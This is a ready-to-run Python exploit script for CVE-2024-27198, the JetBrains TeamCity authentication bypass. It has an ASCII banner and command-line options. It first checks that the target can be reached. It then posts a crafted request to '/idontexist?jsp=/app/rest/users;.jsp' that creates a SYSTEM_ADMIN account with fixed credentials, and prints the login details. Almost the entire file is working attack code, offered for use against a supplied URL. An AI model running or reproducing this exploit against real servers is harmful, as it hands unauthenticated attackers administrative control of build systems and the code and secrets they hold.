#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass # Date: 2024-02-21 # Exploit Author: ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://www.jetbrains.com/teamcity/ # Version: < 2023.11.4 # CVE: CVE-2024-27198 # CVSS Score: 9.8 (Critical) # Description: # JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass # vulnerability that allows unauthenticated attackers to perform administrative actions. # The vulnerability leverages a path traversal-like technique in the JSP handling # mechanism combined with REST API endpoints to bypass authentication. # Requirements: requests>=2.25.1 """ import requests import argparse import sys import json from urllib.parse import urlparse requests.packages.urllib3.disable_warnings() class Colors: RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' CYAN = '\033[96m' BOLD = '\033[1m' END = '\033[0m' banner = f"""{Colors.CYAN} ████████╗███████╗ █████╗ ███╗ ███╗ ██████╗██╗████████╗██╗ ██╗ ╚══██╔══╝██╔════╝██╔══██╗████╗ ████║██╔════╝██║╚══██╔══╝╚██╗ ██╔╝ ██║ █████╗ ███████║██╔████╔██║██║ ██║ ██║ ╚████╔╝ ██║ ██╔══╝ ██╔══██║██║╚██╔╝██║██║ ██║ ██║ ╚██╔╝ ██║ ███████╗██║ ██║██║ ╚═╝ ██║╚██████╗██║ ██║ ██║ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ {Colors.END} {Colors.BOLD}{Colors.RED} TeamCity Authentication Bypass (CVE-2024-27198){Colors.END} {Colors.YELLOW} Author: ibrahimsql{Colors.END} """ parser = argparse.ArgumentParser(description="TeamCity Authentication Bypass Exploit (CVE-2024-27198)") parser.add_argument("--url", type=str, required=True, help="Target TeamCity URL") parser.add_argument("--timeout", type=int, default=15, help="Request timeout (default: 15)") parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output") args = parser.parse_args() class TeamCityExploit: def __init__(self, target_url, timeout=15, verbose=False): self.target_url = target_url.rstrip('/') self.timeout = timeout self.verbose = verbose self.session = requests.Session() def _log(self, message, level="info"): if level == "success": print(f"{Colors.GREEN}[+] {message}{Colors.END}") elif level == "error": print(f"{Colors.RED}[-] {message}{Colors.END}") elif level == "warning": print(f"{Colors.YELLOW}[!] {message}{Colors.END}") elif level == "info": print(f"{Colors.BLUE}[*] {message}{Colors.END}") elif level == "verbose" and self.verbose: print(f"[DEBUG] {message}") def check_target_reachability(self): try: self._log(f"Checking target: {self.target_url}") response = self.session.get(self.target_url, verify=False, timeout=self.timeout) if response.status_code in [200, 302, 401, 403]: self._log("Target is reachable", "success") return True else: self._log(f"Unexpected status: {response.status_code}", "error") return False except requests.exceptions.Timeout: self._log("Connection timeout", "error") return False except requests.exceptions.ConnectionError: self._log("Connection error", "error") return False except Exception as e: self._log(f"Error: {str(e)}", "error") return False def exploit_authentication_bypass(self): exploit_path = "/idontexist?jsp=/app/rest/users;.jsp" full_url = f"{self.target_url}{exploit_path}" self._log(f"Targeting: {full_url}") headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "application/json, text/plain, */*" } payload = { "username": "ibrahimsql", "password": "ibrahimsql", "email": "ibrahimsql@exploit.local", "roles": { "role": [{ "roleId": "SYSTEM_ADMIN", "scope": "g" }] } } self._log(f"Payload: {json.dumps(payload)}", "verbose") try: self._log("Attempting authentication bypass...") response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout) self._log(f"Status: {response.status_code}", "verbose") self._log(f"Response: {response.text[:200]}", "verbose") if response.status_code == 200: self._log("Exploit successful!", "success") print(f"\n{Colors.BOLD}{Colors.GREEN}[SUCCESS] Admin user created!{Colors.END}") print(f"{Colors.CYAN}{'='*50}{Colors.END}") print(f"{Colors.YELLOW}Username:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Password:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Login URL:{Colors.END} {self.target_url}/login.html") print(f"{Colors.CYAN}{'='*50}{Colors.END}") return True elif response.status_code == 401: self._log("Authentication required - target may be patched", "error") return False elif response.status_code == 404: self._log("Endpoint not found - target may be patched", "error") return False elif response.status_code == 403: self._log("Access forbidden", "error") return False else: self._log(f"Unexpected status: {response.status_code}", "error") return False except requests.exceptions.Timeout: self._log("Request timeout", "error") return False except requests.exceptions.ConnectionError: self._log("Connection error", "error") return False except Exception as e: self._log(f"Error: {str(e)}", "error") return False def validate_url(url): try: parsed = urlparse(url) if not parsed.scheme: url = f"http://{url}" parsed = urlparse(url) if parsed.scheme not in ['http', 'https']: raise ValueError("URL must use HTTP or HTTPS") if not parsed.netloc: raise ValueError("Invalid URL format") return url except Exception as e: raise ValueError(f"Invalid URL: {str(e)}") def main(): print(banner) try: target_url = validate_url(args.url) print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity Exploit ==={Colors.END}") print(f"{Colors.YELLOW}Author:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Target:{Colors.END} {target_url}") print(f"{Colors.CYAN}{'='*45}{Colors.END}\n") exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose) if not exploit.check_target_reachability(): exploit._log("Cannot reach target", "error") sys.exit(1) success = exploit.exploit_authentication_bypass() if success: exploit._log("Exploit completed!", "success") sys.exit(0) else: exploit._log("Exploit failed", "error") sys.exit(1) except ValueError as e: print(f"{Colors.RED}[-] {str(e)}{Colors.END}") sys.exit(1) except KeyboardInterrupt: print(f"\n{Colors.YELLOW}[!] Interrupted{Colors.END}") sys.exit(1) except Exception as e: print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}") sys.exit(1) if __name__ == "__main__": main()